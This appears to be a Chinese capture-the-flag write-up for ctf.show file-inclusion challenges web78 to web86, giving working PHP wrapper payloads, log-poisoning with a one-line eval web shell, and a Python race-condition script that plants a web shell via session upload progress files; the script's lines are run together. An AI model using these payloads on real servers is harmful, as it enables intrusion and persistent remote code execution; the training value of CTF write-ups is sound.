web78
if(isset($_GET['file'])){$file = $_GET['file'];include($file);
}else{highlight_file(__FILE__);
}
解法一:data伪协议
?file=data://text/plain,<?php system("tac flag.php");
解法二:php:filter伪协议
?file=pHp://FilTer/convert.base64-encode/resource=flag.php
解法三:日志注入一句话木马
先在User-Agent处传参执行,从而让日志文件包含执行记录,一句话木马就写到日志文件上了
file指向到日志文件,POST传参数a
注意:这里本来想试下参数逃逸的,本质上也是使用伪协议,但这里被禁用了 这里用input伪协议也不行
web79
if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);include($file);
}else{highlight_file(__FILE__);
}
这里有对php的过滤;
解法一:data伪协议
?file=data://text/plain,<?= system("tac flag.???");?>
解法二:日志文件注入
web80
if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);include($file);
}else{highlight_file(__FILE__);
}
过滤了php和data,这样data伪协议用不了了
解法:日志文件注入
只不过flag不在flag.php中,而是藏在fl0g.php
web81
if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);include($file);
}else{highlight_file(__FILE__);
}
同样是日志文件注入
web82~web86
if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);include($file);
}else{highlight_file(__FILE__);
}
脚本代码:
import requests
import io
import threadingurl='http://b04c7980-d374-4c39-9ebc-a612708262c8.challenge.ctf.show/'
sessionid='ctfshow'
data={"1":"file_put_contents('/var/www/html/muma.php','<?php eval($_POST[a]);?>');"
} '''
post 传递内容可在网站目录下写入一句话木马。
根据资料,内容暂存在 /tmp/ 目录下 sess_sessionid 文件。
sessionid 可控,所以这里即 /tmp/sess_ctfshow。
这样一旦访问成功,就说明木马植入了
'''# /tmp/sess_sessionid 中写入一句话木马。
def write(session): fileBytes = io.BytesIO(b'a'*1024*50)while True:response=session.post(url,data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'},cookies={'PHPSESSID':sessionid},files={'file':('ctfshow.jpg',fileBytes)})# 访问 /tmp/sess_sessionid,post 传递信息,保存新木马。
def read(session):while True:response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,cookies={'PHPSESSID':sessionid})# 访问木马文件,如果访问到了就代表竞争成功resposne2=session.get(url+'muma.php')if resposne2.status_code==200:print('++++++done++++++')else:print(resposne2.status_code)if __name__ == '__main__':evnet=threading.Event()# 写入和访问分别设置 5 个线程。with requests.session() as session:for i in range(5):threading.Thread(target=write,args=(session,)).start()for i in range(5):threading.Thread(target=read,args=(session,)).start()evnet.set()